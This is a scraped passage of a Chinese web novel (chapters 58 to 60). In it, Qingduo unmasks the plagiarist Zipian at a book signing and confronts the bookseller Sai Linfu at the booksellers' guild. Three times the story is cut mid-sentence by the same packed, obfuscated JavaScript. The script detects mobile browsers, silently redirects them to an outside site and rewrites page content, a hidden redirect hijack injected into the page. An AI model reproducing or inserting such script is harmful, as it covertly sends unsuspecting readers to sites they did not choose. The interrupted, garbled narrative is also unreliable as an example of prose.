露浓并不紧张,甚至巴不得现在就是明天。 好吧,那她的陪伴就是让姐姐不要这么亢奋。 但并没有效果,除了手稿可以作为证据,露浓还发现一处漏洞,于是滔滔不绝: “青朵,这第三部是旁人续写的,与我前两部的故事风格显然不同。再者,我写的是内宅故事。这里面的一应礼节、陈设都是有依据的。从前我曾经跟着父亲去大户人家教书,这些我都是亲眼见过,记在心里的。续写的那人怕是不甚了解,就拿那段宴客的情节来说吧,她……” 一个又一个字从左耳朵输进去,又一个个从右耳朵冒出来。青朵昨晚在船里一顿折腾就没睡好,今夜看样子又是难眠。 听露浓说起《画堂春》里面的礼节,她突然想到,自己曾经把这本书奉为圭臬,照着里面学扮演大小姐。而实际写这本书的露浓姐就不是什么大家闺秀,她笔下的那些规矩,来自遥远的记忆和拼凑。 照着假的,学来的自然也是假的,怪不得卿卿很快就能发现。 那就不是自己表演的问题。 青朵心里舒服了。 两人聊到五更天才沉沉睡去,早上曾正卿来接露浓,青朵前去开门,打了个哈欠说道:“露浓姐很快就好。” 好不容易云情雨意,正是难舍难离,柔情蜜意的时候,她却让他独守空房,说朋友紧张要陪她说说话。 唉,没有办法,夫人总是义气在先。只是—— 眼前的青朵蓬头垢面,眼圈乌黑,曾正卿瞧得直皱眉,忍不住问道:“露浓姑娘如此紧张吗?” 竟安慰了一宿? 青朵半闭着眼睛神游天外:“嗯?” 曾正卿叹气,心疼道:“你快回去睡吧!” 两人正说着话,露浓从里面走出来,神清气爽,半分紧张局促也没有,反而浑身透着志在必得的斗志。 曾正清:……奇怪了。 他们走后,青朵刚进入梦乡,外面大门“咣咣咣咣”响,像有人举着锣在她耳边炸开一样。她一激灵坐起,心脏剧烈跳动,都要从嘴里跳出去了。 “露浓姑娘!” 是朱熠。青朵恨恨地跳下床,这人发什么疯?敲门像催债似的,待会儿他说出的不是什么要紧事,自己非骂他一顿不可! 她开门还不等说话,朱熠就冲上来握住她的双肩摇晃,她像一个栗蓬在风中颤抖不已: “青朵,怎么办!抄袭露浓姑娘那个子翩,也向县衙交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16165788|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了手稿!” “不仅如此,今日守真堂邀请她为读者题字售书!” 青朵惊出一身冷汗,霎时清醒了。 * 守身堂门口的队伍早就排成了蜿蜒的长龙,把道路堵得水泄不通。一片嘈杂声中,还能听到抢客的竞争声: “姑娘站我这儿吧,只要十文。” “站我这儿,我就要八文!” “呸,你那个地方姑娘还得多等,就两文钱,一杯豆浆的事儿!你就可以早见到子翩。何乐而不为!” “别走啊,哎,我给你便宜一文!” “我们这算便宜的!你再往前,前面要几十文呢!” 青朵抱着手臂看着人群,仍然感到难以置信:“他们真交了手稿?” 朱熠道:“千真万确。我从县衙里特意打听过,衙里对着两个手稿左看右看,一时半会儿断不清到底谁是真作者,何况这又不是危及民生的急案,就暂时搁在这儿了。正因为如此,他们才敢趁着这空挡把这题字会办下来,反正没有定论,也没有人敢拿他们怎么样!” “糟了,”青朵烦闷道,“那露浓姐的手稿就不是确凿证据了。卿卿他们已经去了书商行会,没了证据,怎么办才好?” 朱熠咬牙道:“要不然我冲过去大闹一场,让他们办不成题字会!” “没有用的!”青朵摇头道,“闹了这一场,还会有下一场。何况闹事是我们德行有亏,他们可以拿来大做文章,到时候我们反倒落了下风。眼下最要紧的,还是得有证据,有证据才能破局。” 可这突然间,上哪儿找证据呢?这可把两人难住了,越是着急的时候,越脑袋空空。 朱熠急道:“他们怎么早不交晚不交,偏偏这时候交!要是等到书商行会开完,有了定论交也没用!偏偏快了一步!” 青朵心思一动:“他们什么时候交的手稿?” “好像就是这两天的事。” “就这两天?”青朵沉吟道。 这事儿挺蹊跷。赛林甫好歹是个商人,而且是一个狡诈的商人。若他早就有手稿,别管真的假的,怎么不早早交上去?这样等露浓姐想自证清白,也早已陷入被动。可他偏偏等到露浓姐交了手稿才交,倒像是得知消息之后,急急忙忙拿出东西应对。 卿卿处理这件事,首先想到的,就是向官府上交手稿作为证据。同是经营书铺,赛林甫不可能不知道。但在当时刚起争议的时候,他却没有这样做。 为什么? 因为当时没有。 也不屑于有。 青朵眯起眼睛,也就是说,赛林甫原来没把这件事放在心上,以为露浓姐一个人早晚会认栽,以前也从未有书店揽这个烂摊子,依照他以前的强硬手段压下去便是,却没想到他们不肯罢休。直到卿卿这步棋摆出来,打了他们一个措手不及,这才慌慌张张的,想了一个对策。 真是傲慢至极。 不过也让我们有机可乘。 青朵有了主意:“他们这么快就能拿出手稿,多半不是子翩自己书写。待会儿我混进题字队伍,让她写一段书中的文字,到时候对比字迹,答案自明。” 朱熠犹豫道:“上次扶乩那个董文远,他不识字,通过口述请别人笔录,子翩若也是这番说辞怎么办?” “哼!她若不会写字,开什么题字会?若会写字,又何必找别人代笔。这根本说不通。”青朵说道,扯过路边摊贩的丝巾遮在脸上,“我得遮得严实些,她先前见过我,可别认出来!” 付完钱抬腿要走,她忽地又想起一事,冲朱熠嘻嘻一笑:“‘佛祖面前好办事’,如今我还需要请一尊‘佛’,不过只有你才能请得动。” 58. 行会(上) 手下陈顺悄无声息地走到曾正卿身侧,躬身在他耳边低语了几句。曾正卿听罢,眉头蹙一下,随即微不可查地点点头,陈顺便退在一旁。 赛林甫也交了手稿?他学得倒快。 不过这也没什么好慌张的,若自己只做了这一份准备,证据不充足,那是万万不敢在整个行业面前,揭露他的真面目。 善战者,立于不败之地,而不失敌之败也。 曾正卿抬眼望向斜对面的赛林甫,只见他慢条斯理地端起茶盏,揭开茶盖,吹散热气,慢悠悠品起茶来。 此时露浓恳切的自证言辞,实际也是对他窃书行径的控告,他却连眼皮都未曾抬一下,全然一副置身事外的模样。 露浓继续道:“……我方才所说,是这个故事我原本设计的整体脉络。从人物角度来看,我本想叙述一位女子坚韧不拔的一生,可守真堂所出的第三部分重心全然偏移了。 “故事更多去叙述,男主谢景明如何步步高升,家庭美满,简直像是他个人的传记,弱化了女主沈思瑶的魅力。” “再说写作上,我偏爱写人物之间的心绪变化,而她所写的第三本书却鲜少有人物的心理,更多是人物之间的对话。 “至于其中细节,例如待人接物的礼仪规矩,女子穿着的款式纹样等,更是不甚考究,这些都能印证前两本与这一本绝非出自同一人之手。” “我已将这前后差异细细梳理,整理成册,呈给诸位尊长过目,其间的真伪、优劣,相信大家一看便心中有数。恳请各位尊长主持公允,还事实以真相!”露浓恳切道。 她刚把手中的册子呈给坐在正位的书商行会葛会长,以及两侧行会的要紧人物。就听赛林甫说道: “这怎么能算证据呢?《画堂春》一共分为三本,前两本是一同刊印的,第三本本就是花了些时日才续写完成,与前两本风格不一致也是合情合理。凭这就断定非同一人所作,继而就想证明前两本是抄袭,未免太过牵强!” “若连这也算是铁证,那以后作者日益精进,或是偶尔力不能胜,导致前后不一都要担上‘抄袭’的罪名?呵,真是无稽之谈!”赛林甫冷笑道。 “再说了,这故事的好坏,本该交由读者评判,告诉你们吧!我这第三本的卖得不比前两本差,若是她写得不好,读者为何还争相购买?你当他们是傻子吗?哈哈!” 他仿佛听了天大的笑话,侧脸对身旁书铺老板笑道,“老李,你说是不是?哈哈哈!” “赛掌柜为何顾左右而言他?”露浓平静道,“我刚才所说,并不涉及这本书的优劣,更没有提及它售卖数量,我所说的,始终都是一件事:市面上流传的第三本,笔法风格与前两本截然不同。” “造成这种不同并不是因为时间,而是两个创作者有不同的人生经历,才创造出底色迥异的作品。” “你若要辩解,也该扣着我的话来回答,不该扯到其他不相干的事情上去!”她紧盯着赛林甫,目光如刀锐利,架在他的脖子上。 赛林甫不以为然:“风格?呵,这虚无缥缈的事物如何衡量?但书卖出去可有实打实的银子衡量!” “小姑娘,”他唤得亲切,语气里却是冷的,“在商言商,谁跟商人谈创作呢!” 曾正卿接口道:“谈到这点,赛老板和我一样都是门外汉,不过我今天特别请来金先生,他老人家博览群书,对当今的话本颇有研究,还出过相关的评点著作,我们不如听听他的见解?” 他不等赛林甫同意,就对一个面慈长者说道:“金先生,依你看,《画堂春》前两本与后一本是否出自同一人笔下?若当真为同一作者所著,两个月时间,其创作风格生出这般差异,又是否合乎情理?” “元柏先前已将这几本书送我过目,时间紧张,读得没那么细。如有说的不当之处,还请各位见谅。”金先生拱了拱手, “前两本中,字里行间总透露着股韧劲,在读后续的这本,总是觉得——也许是我眼拙,总觉得少了几分顽强,多了几分……雄心与沉郁。”最后两词他咬得极重。 露浓闻言蹙眉,与曾正卿对视一眼,两人若有所思。 “至于文风的变化,”金先生停顿了一下,接着颇有深意地说道,“露浓姑娘作为作者,想来这种感受比别人更加真切,文字向来与作者的亲身经历,落笔时心境,平日里的所见所闻所感紧密相关,另一个作者子翩我并未见过,也不了解,我不敢贸然轻下断语。” “多谢金先生指点,晚辈受教。”曾正卿望向赛林甫,“赛掌柜如今还有何话好说?” 赛林甫冷笑道:“久仰金先生大名,他的学问我当然是佩服的。可是就连金先生这般资深的学者都说了,‘不能贸然轻下断语’。你一个乳臭未干的小辈,又凭什么咄咄逼人质问我?” 露浓起身说道:“既然赛掌柜坚持认为,《画堂春》出自子翩的手笔,只是她的文风发生变化。那敢问这变化究竟因何而起?” “据我所知,那个子翩姑娘宝元印刷工坊的千金,今年也不过十七八岁,向来是佟掌柜掌上明珠,从小锦衣玉食,事事顺遂无忧,”曾正卿说道, “未经世事,字里行间里又怎会透露着雄心与沧桑?依我之见,我们不妨将子翩姑娘请来,拟定一题,请她当场撰稿,那么是非曲直,当场就有定论。” 他漫不经心地提了一嘴,“她正在守真堂为读者题字,想来也不难找到。” “就算我把她叫来,你们也有其他的说辞,就算她自己将经历一五一十说出,你们又说经历不够深重,不至于发生这种变化!”赛林甫冷冷道, “哼!你们早就认定她不是《画堂春》的作者,更是一门心思的要证明她不是,左右不管我说什么,你们都要拿那套标准来挑剔我们守真堂,事已至此,我便是说再多,又有什么用呢?” 赛林甫几步跨到葛会长面前,说道:“葛会长明鉴!有卑鄙之人暗地抢在我前头,先将手稿呈给衙门,想以此作为证据,使我们进退不得。还好我及时补交手稿,这才挽回局面。” “他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16194624|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们眼见一计不成,又心生毒计,趁今日行会,想借着同行的舆论压的我抬不起头,逼我承认这些莫须有的罪名!还请会长为我主持公道啊!” “真无耻!你这是贼喊捉贼!”露浓气得涨红了脸。赛林甫面对他们的质问,往往避而不答,无视他们的证据,更是倒打一耙,叫人满腔陈言,都像一拳打在棉花上,无力极了。 赛林甫伸手指向露浓,“大家瞧瞧!我毕竟你是她的长辈,她理所应当敬我几分,可她却当众出口不逊,辱骂于我。我念着她是小辈,不与她一般见识,当然也不会计较。但你们也看见了,她刚才一副义正辞严的正义模样,转眼间又毫无礼貌!” 他阴阳怪气道:“呵!就许你前后截然不同,不许子翩写书精进,判若两人?” “你!”露浓说不出话来,若是别人与她以理辩驳,她自不会落到下风,可她只觉得一股火气烧去脑袋所有思路,脸上滚烫,哪里还静得下来思考! 曾正卿沉声道:“赛掌柜,刚才我们所言皆有凭据,可你始终避重就轻不予回答。如今凭空捏到罪名诽谤我们,这也是长辈该有的做派吗?” “凭据?你们说的那些算什么凭据?连官府至今都尚未得到定论,你们仅凭几句话,就想断言我书铺下的作者子翩抄袭,如此轻易给人扣上罪名,简直欺人太甚!” “谁说官府尚无定论?”屋外有人朗声道。 屋内顿时安静下来,所有人诧异地望向门口。 屋门“吱呀”一声被推开,一人细碎步轻点闯入屋中,她身穿彩绣粉红色女大靠,“蹭蹭蹭”直奔对面窗子,就在即将到达时,忽地一个干净利落的转身,兜绕到正中央。 她手里执着一个“马鞭”,那是戏台上常用的道具,一根藤条,缀着三绺红色的丝缨。只见她像耍棍一样抡起马鞭,马鞭随之在半空中画出一轮轮红日。发出“刷刷”的声响。 整个屋子安静得可怕。在座均是见过大世面的人,此时真是摸不清头脑。人人睁大了眼睛,张大了口。 表演临近尾声,她猛地收势,定在那里。马鞭顿在身侧,丝缨仍在微微晃动。再看她本人,另一只手高高举过头顶,眉目飞扬,意气风发。 虽然简短,但也摆明了是戏文里的英雄亮相。 表演结束,却没得来满堂彩。 屋子里鸦雀无声,所有人都被她镇住了。 与其说是“镇住”,准确地讲,不如说是“吓住”。 这这这这……谁啊? 如果银角大王的紫金红葫芦,具有凭惊讶收人的功能,那么在座的各位将无一幸免。 曾正卿只觉得脑袋胀痛,刚要说话,就听葛会长问道:“这位姑娘是……” “免贵姓唐,” 虽然并没有人问她“尊驾贵姓”,她仍然如此答道,“我名为青朵,江湖人称‘长赢女侠’。” “‘清源书籍铺’的东家小曾乃是我夫君也!” 所有的目光“啪”地射向曾正卿,他咬紧牙关,露出了难为情的笑脸。 59. 行会(中) 约半个时辰之前。 朱熠带一人匆匆赶回,到了约定的地方,却不见青朵,正左右张望,四处寻找时,听到有人喊他: “喂!朱大哥!我在这儿呢!” 朱熠望向声音来处,猛地睁大眼睛,脚下跟生了钉似的,一动不动。 他刚才四下寻找的时候,不是没有看到这个身着戏装的身影,就是死活没想到这竟然是唐青朵! 临走的时候,她不就只是戴一个面纱吗? 青朵见他站在原地不动,只好小跑着过来,朱熠上下打量她,愕然道:“我不过是去找个人,你怎么就打扮成这样了?” “我也是没有办法嘛,”话是这么说,但她眼睛亮晶晶的,藏不住的跃跃欲试,“这么多人,就我戴面纱,多奇怪呀!索性做戏做全套,就添了身行头,有了衣服,不能没有与之相配的鞋。身上脚上有了,头上又不能不跟上,折腾到最后,手里不能不拿点什么吧?就又买了个马鞭。” 可这些与帮助露浓姑娘有什么相干? 朱熠算是看透她了,这丫头就是唯恐天下不乱! 瞧她得意洋洋的样子:“这一套置办下来,我也算像个扶危济困、行侠仗义的女侠了!” 朱熠一脸一言难尽。 该怎么告诉她,现实女侠和戏台上武旦的装扮根本不一样啊? 青朵兀自不觉自己的打扮与初心相差十万八千里,她递给朱熠和他身侧的中年男子一人一套衣服,“你们两个也换上,和我一样都便扮作侠客,现在这身穿着站在队伍里,太让人起疑心了!” 朱熠抖开衣服一看,还好,她给他们准备的是正经的衣服,想来是因为,她以前见过自己闯荡江湖的穿着打扮,不必发挥想象。 只是三个“侠客”站在队伍中就不让人起疑吗? 更何况实际上,只有两个是侠客,另外一个是戏台上的武旦。 没有比这更混乱且显眼的搭配了。 朱熠脑袋乱哄哄的,他下意识想要拒绝这个离谱的安排,就听到青朵懊恼的声音:“哎呀,失策了!看看这队伍!看《画堂春》的,多是女子,应该给你们两身女装的!” 他穿,他现在就穿! * 果然,三人站在队伍里,前后所有的人目光总不住地往他们身上瞟。 朱熠觉得这不怪他们,周围都是素色便服,寻常打扮,队伍里就青朵一个衣着艳丽——甚至可以说是夸张的台上装束,换做自己是旁观者,也会忍不住多看上几眼。 他当游侠时,穿着这身走街串巷从未觉得怎样。如今被许多眼睛盯着,即使知道他们看的并不是自己,也浑身不自在。他抬起一只手半遮住脸,仿佛这样就能挡掉尴尬。 青朵当然也注意到大家探寻的目光,朱熠听到她在一旁嘀嘀咕咕:“该让他俩都打扮成女子的。” ……小祖宗,是这个原因吗?你要不要低头看看自己那一身呢? 朱熠悔不当初。虽然嘴上不肯承认,但他心里也知道青朵比他机灵许多,虽然她做事情总有一些稀奇古怪,不按常理出牌,但也比他这种想不到办法的强。 可现在他却有一种上了贼船的感觉。 他当时就应该直接去找曾正卿和露浓的!还不用去求自己的姐夫! 啊——好生后悔! 青朵不知朱熠心中百般纠结,她胡乱翻弄手中新买的《画堂春》,虽说最后一本不是露浓姐写的,但当时露浓寻找书中破绽,她陪着也把书都读了几遍。 她看似是在看书,实际耳朵支棱起来,偷听后面几个小姑娘讨论情节。 “沈思瑶和谢景明真是天作之合!” “可我更喜欢她和小侯爷在一起。毕竟最后发现沈思瑶是个公主,养在沈家而已,那她和小侯爷的身份更相配!” “小侯爷花花心肠,在遇到女主之前,一身风流,不知道招惹了多少女子!” “可女主让他浪子回头,最后一本为了女主连家里的婚事都拒了,最后只有一个妾室,为她留着妻位。如此痴情男子,唉,如果我身边也有一个就好了。” “那不还是有别的女人!算什么痴情!” “他在那个位置上,想要多少女人不都唾手可得!只有一个妾,已经算是个好男人了!” 青朵听她们讨论剧情,忍不住撇了撇嘴。 要这么说,这种痴情男子,她身边就有一个。 那就是她爹唐礼,曾经虽然流连青楼,但从不再娶。按小姑娘这个标准来看,就说他是不是深情男人吧! 啧啧啧! 当男人真好!青朵翻了个大大的白眼儿。要是有女子这样做,早被人指着鼻子骂成是“不检点”。但搁到男人身上,就被歌颂成“痴情”。 难道,词语的使用也分性别? 按照子翩的结局,男主人公谢景明真是好命。迎娶公主在外有地位,内有沈思瑶为他打理后宅,繁衍子嗣。 跟《惹金枝》的剧情好像啊!最后都是娶公主,走上人生巅峰。 一瞬间,她明白自己为什么爱看话本了。 毕竟可以做梦。 终于轮到青朵他们,子翩看了她这身装束,一点讶异之色,还是问道:“姑娘想写些什么?” 青朵郑重其事:“嫁给皇子,走上人生巅峰。” 做梦嘛! 她身后两人:…… 子翩:“……好,好吧。” 待她写完,青朵迫不及待接过,抬腿欲走,忽地想起昨晚露浓姐的话,转身回到桌前,问道:“同是宫宴,为何第一本和第三本的礼仪有所不同?” 子翩愣了一下,说道:“有不同吗?” “对啊,就是她最后恢复公主身份,皇帝再次把她许配给谢景明的宴席,与当初皇帝初次为二人赐婚时的宴席相比,就是不同啊。” 子翩讪讪道:“啊,大概是我写的太杂了,一时间反倒记不清前面的细节。多亏你的提醒,等之后修订再出版时,我一定把这里改过来。” 青朵点点头,她既就这样说,再继续问,也问不出什么了,她转身又要走,突然顿住脚步。 等等! 她记混了! 沈思瑶与谢景明的婚姻,明明是沈家榜下捉婿促成的,压根不是皇帝撮合的呀!都怪自己刚才想到《惹金枝》,无意中竟把那本书里的情节与这本混在一起。 不过,子翩为什么没有纠正她? 难道她也记混了? 青朵又杀了个回马枪,她转身试探道:“不过看到最后,我被他们深深打动了,他们最初因为皇帝的诏命而成为夫妻,一路磕磕绊绊,终究读懂彼此,最后又因一道新的圣旨,迎来属于二人的全新开始。” “一切形成了一个闭环,兜兜转转,仍爱眼前人。不愧是子翩姐姐,能写出这样感人至深的作品。” “谢谢你喜欢我的故事。”子翩笑眯眯地说道。 咦,她还没有纠正? 这是怎么回事? 青朵歪着脑袋看向她,很是不解。后面有读者听到她俩的对话,忍不住说道:“你到底有没有看过《画堂春》?谢景明和沈思瑶因为沈家才在一起的!” “对呀,根本不是因为皇帝下诏!连情节都记不清,白瞎排这么好的位置!” 有人讽刺道:“人家有钱!区区三百文,和我们这种为了排队,连水都不敢多喝的人哪能一样?” “不会拿了子翩的签名,拿回去卖钱吧?” “两家商议亲事可是一个重要情节,那一次男女主第一次相见。真是《画堂春》的读者,怎会记不清?” 听着他们的质疑与嘲讽,青朵不急不慢反问道:“我说错了一个关键剧情,你们便说我不是《画堂春》的读者,” 她指向子翩:“我说了两遍,她都没有指出我的错误。连自己笔下的重大剧情都记不清,这样的人,真的会是《画堂春》的作者吗?” 一瞬间,现场陷入死寂,随即全场哗然。 子翩不是《画堂春》的作者? 朱熠趁机道:“怪不得有传言说,这本书不是她写的,连自己笔下重要情节都记不清,又怎么可能是真正的作者呢?” “今日我签了这么多,脑袋昏昏沉沉,这才没有发觉,绝不是记不清情节!”子翩慌忙解释道,额上沁出汗珠,她环顾下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198445|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的读者,“大家千万不要相信他们,他们分明是来闹事的!” 马上就有支持她的读者吵嚷起来:“他们就是怕我们子翩出名,故意泼脏水!” “子翩富有才名,惹来红眼病妒忌,故意使绊子!” “子翩太可怜了!她只是太有才华了,她有什么错?” 支持者们气势汹汹,向青朵怒目而视,一副蓄势待发的模样。要不是朱熠喝道:“谁在上前,不论男女,我的拳头可不客气了!”他们只怕就要冲上来,围住青朵让她吃皮肉之苦。 有朱熠等人守在身旁,青朵一点也不慌,她大声道: “你倒是说说看!男女主刚开始因何心生嫌隙?女主的真实身份是如何揭晓的?二人最终是如何冰释前嫌?你若真能把这些关键剧情一一说清,那就能证明你确实是熟知故事,若是这样,我现在当众给你赔礼道歉! 子翩脸涨得通红:“你让我说我就说?你以为你是谁?”话虽说的硬气,可声音里却不自觉带着颤。 青朵嗤笑一声:“你偷书偷上瘾了吧?两本完完整整抄了露浓姐的书不说,第三本我还以为是你自己写的,没想到照样是拿别人的作品顶数!连我为了做功课,都把书完完整整读透,你倒是懒!空空占个作者的名字,连读都不读!” “难为赛林甫还特意给你准备了手稿!只是碰上你这种懒蛋,便是有手稿也无用了!” “你!你!血口喷人!我只是不屑于和你争论!来人!来人啊!他们是来闹事的,把他们给我赶出去!”子翩喊道。 顿时,从守真堂走出几个手持木棍的汉子,骂道:“哪个不长眼的敢在赛爷爷门口闹事?不想活了不成?” 朱熠朗声道:“兄弟们,还等什么?让他瞧瞧咱们巡捕队的厉害!” 话音刚落,四下里原本分散的走卒商贩猛地跳身起来,扯掉身上伪装,抽出藏好的武器,齐刷刷挡在青朵他们身前。原来,朱熠想到赛林甫私下蓄养打手,为人歹毒,特意提前布下人手,就是为了保护青朵二人的安全。 青朵缓缓道:“你并不需要向我解释,有话你就到衙门去说吧!” 她望向朱熠身旁的中年男子,问道: “申主簿,怎么样?孰真孰假,如今总算见分晓了吧?” * 书商行会上,青朵讲完题字会上发生的事。 “……毕竟两家都交了手稿,县衙一时无法断定谁是真正的作者。守真堂也是钻空子才办起题字会。当然,多亏题字会,才能有直截了当的结果。”青朵看着赛林甫阴沉的脸,笑吟吟道。 “所以,我们特意请申主簿来作公证人。就在刚才,通过字迹比对和问询,已经确认子翩是个实打实的冒牌货!” 她瞅着赛林甫的脸一点点往下垮,并未打算放过他: “哎呦!赛掌柜,可真是对不住了!你费尽心机举办的题字会呀,当时就散场啦!不仅题字会办不得,还有很多上当受骗的读者围在门口,让你退钱呢!就连你那个宝贝作者子翩,也被带到县衙去,等着你拿银子去解救呢!” 青朵故作同情地叹了口气,拍拍他的肩膀:“老赛呀!你这不行啊!下次你再想捧人,得找勤快点的,至少会把你给她的书稿好好读一读,对了!还得找脸皮厚的,至少得像你这样,能挺住质问死活不认账!” “子翩在申主簿面前,一吓就承认了。唉,你也真是的,只顾着把书稿给她,怎么不教她厚脸皮大法呢?” 在场的东家掌柜们,论辈分,可当她的叔伯,有的甚至可当她的爷爷,就算年轻的像曾正卿和露浓,也都是她的哥哥姐姐,听到少女老气横秋的几句话,都忍不住笑出声来。还有私下里看赛林甫不顺眼的,眼见他如今倒霉,更是忍不住幸灾乐祸。 赛林甫眼中闪过一丝怒色,不过却转瞬即逝,他突然连拍大腿,唉声叹气道:“我的世侄女,你怎么自甘堕落呢!就算你想出人头地,想多挣些银钱,也不该坑害你伯父我啊!亏我一心信你,处处为你解释!唉!这不是陷我于不义吗?” 赛林甫果然藏私!青朵愈发肯定。 瞧这招漂亮的“金蝉脱壳”,他就没教给子翩! 60. 行会(下) 赛林甫正拍着大腿唉声叹气,忽地听到对面传来“啪啪”两声,他暗中抬眼一瞧,青朵也愁眉苦脸地拍大腿,拍两下,长叹一声;长叹一声,再拍两下,竟形成一种节奏,但不管怎样,无论是拍腿的力度,还是叹息的声响,都比他发出的声音大。 周围的人看到二人对着拍大腿叹气,这场面实在滑稽,有不少人偷偷笑出声来。赛林甫停下手上的动作,黑着脸看向青朵,不知道她葫芦里卖的是什么药。 “翩翩啊!”青朵哀唱道,“你走的好惨哪!” 翩翩? 这又是谁? 众人感到莫名其妙,有好奇的人忍不住小声左右询问。这时又听青朵说道:“子翩啊!” 哦!众人恍然大悟,原来“翩翩”就是那个抄书的子翩,据她所言,子翩和赛林甫是狼狈为奸,那便是站在她的对立面,可她现在怎么这般称呼?倒显得亲热和气。 只见青朵竖起两根食指,一个从左至右,一个从右至左,在脸前汇聚,她的哀痛,虽虚假但实在充足,她道:“明明是两个人的过错,” “可老赛见你被带到衙门,无法申辩,便将脏水都泼到你头上了!”她甩开左手,颤抖着将右手食指不断升到高处,“徒留你一人承担所有罪名!” “衙门不胜寒啊!” “翩翩!你是冤大头哇!唉!”她又恢复了之前的节奏,拍两下大腿叹一口气。 “停停停停停!”赛林甫没好气道,“鬼哭狼嚎什么!什么泼脏水?我说的都是实话!要是早知道她抄别人的书,我绝不可能不可能卖!这点儿操守我还是有的!” 青朵完全不理他,只是一味地哀嚎:“他还泼呢呀!翩呐,你冤啊!” “你这女子好不讲理!”赛林甫怒道,“一味的胡搅蛮缠!自说自话!在众位长辈的面前瞎闹,疯疯癫癫的,成何体统?” 青朵马上讶异道:“咦?原来你也知道不讲道理,胡搅蛮缠是丢脸啊?”她眨眨眼睛,“之前听你跟露浓姐说话,胡扯一通,我以为你不知道呢!心想,既然你不懂,那我就勉为其难,用你这种野人的方式和你交流好了!” 她变了嫌弃的脸色:“噫!没想到你是装的!你这人真奇怪,刚才我们跟你讲道理,你偏胡诌八扯,等我用了你的方式,你又要讲道理。一把岁数变来变去,还说露浓姐呢!你自己就是一个为老不尊的善变精!” 她用手指刮脸,一边说道:“羞不羞?羞不羞?” 赛林甫双目圆睁,怒视眼前人。粗重的呼吸一次次扫过嘴边的虾须,掀得一起一伏。上次听闻又有人当街说快板诋毁他,他派人去找他们麻烦,手下回来便说这姑娘总是撒泼胡搅,他当时只当是下属推诿的借口,半点不信,可眼下亲眼所见,才知手下所言非虚。 不! 这丫头之难缠,比传闻中更甚! 嘶……她刚才说自己叫什么名字?青朵? 赛林甫默默念了几遍,忽然想起董文远提起的名字是:“朵仙”,这两个名字都有“朵”字。难道……是这丫头背后捣鬼? “哼!假惺惺!真是可笑!”有人嘲讽道。 赛林甫望向声音来处,见说话的正是自己的对家,陈记书铺的陈年。 “你既说自己是被子翩所骗,可还有那么多人都被你骗走书籍,书上署了别人的名字,难道是他们合起伙来骗你?简直一派胡言!”他越说越气,猛地一掌拍在桌子上,震得茶碗与盖子碰撞叮咚响。 “我见他们处境可怜,便让他们加入我的书铺,如今该为他们讨回公道了!也叫大家知晓!《觑净录》《倾城记》《争春渡》这些作品,从来都不属于守真堂,而是我铺子下的作者,被窃取的心血之作!” “没错!”青朵也想起一人,叫道,“还有吴燕姐的丈夫!也是被你骗走书稿!” “他将自己写的志怪故事交给你过目,你却转手把它卖给董文远。他找你要个说法,你竟然派人殴打他!害得他含冤受气,最后郁郁而终!” “赛林甫!他因你而死!” 青朵指着赛林甫扬声道:“你不仅是个贼,还是个杀人犯!” 在座的所有人大吃一惊。 赛林甫不怒反笑:“哈,真是越来越离谱!为了栽赃陷害我,你们真是无所不用其极!我何时抢过他的书稿?该给的钱我一分没少!那书分明是他自愿卖给我的!” “你胡说!你明明是两头骗!把董文远给的钱占为己有,吴燕姐他们孤儿寡母什么都没有拿到!”青朵嚷嚷道,“你哄骗董文远说这本书卖给他,可以署上他的名字,吴燕姐说,根本没有这回事!” “那你看看这是什么?”赛林甫从怀里掏出一张纸。 “是什么?”这引起青朵的好奇,她伸手就想去接,赛林甫却不放手,避开她将纸在她面前展开,青朵只好凑近去瞧——哦,不过是一张卖书契。待目光落到最后那行署名上时,她的眼睛瞬间瞪得溜圆,满是惊愕。 那里歪歪扭扭写着两个字:吴燕 * 青朵难以置信,所有思绪黏成一团,像是一碗浓浓的冰酥酪。 吴燕姐姐怎么会跟赛林甫签了卖书契呢?如果她早就将书卖掉了,那她之前对自己控诉赛林甫,不就是在骗自己吗? 见青朵看着卖书契发呆,赛林甫讥讽道:“就这么几个字,还没看完?是没看完,还是心虚?” 他不再理会青朵,转了半圈将手中的书契亮在众人眼前:“大家都瞧仔细了!我有书契为证,这书明明是我买下的!什么盗取剽窃,都是无稽之谈!” 不对!哪里不对! 青朵眼看着赛林甫嘴角的笑扯开,自己想说些什么反驳他,却又不知该说什么。她总觉得心里隐隐有线索浮现,却又像猴子捞月一般,一探寻,就发现是一场幻影。 突如其来的变故打得她措手不及。 怎么办?怎么办?一时间,青朵心慌意乱,握紧的掌心中都是汗。 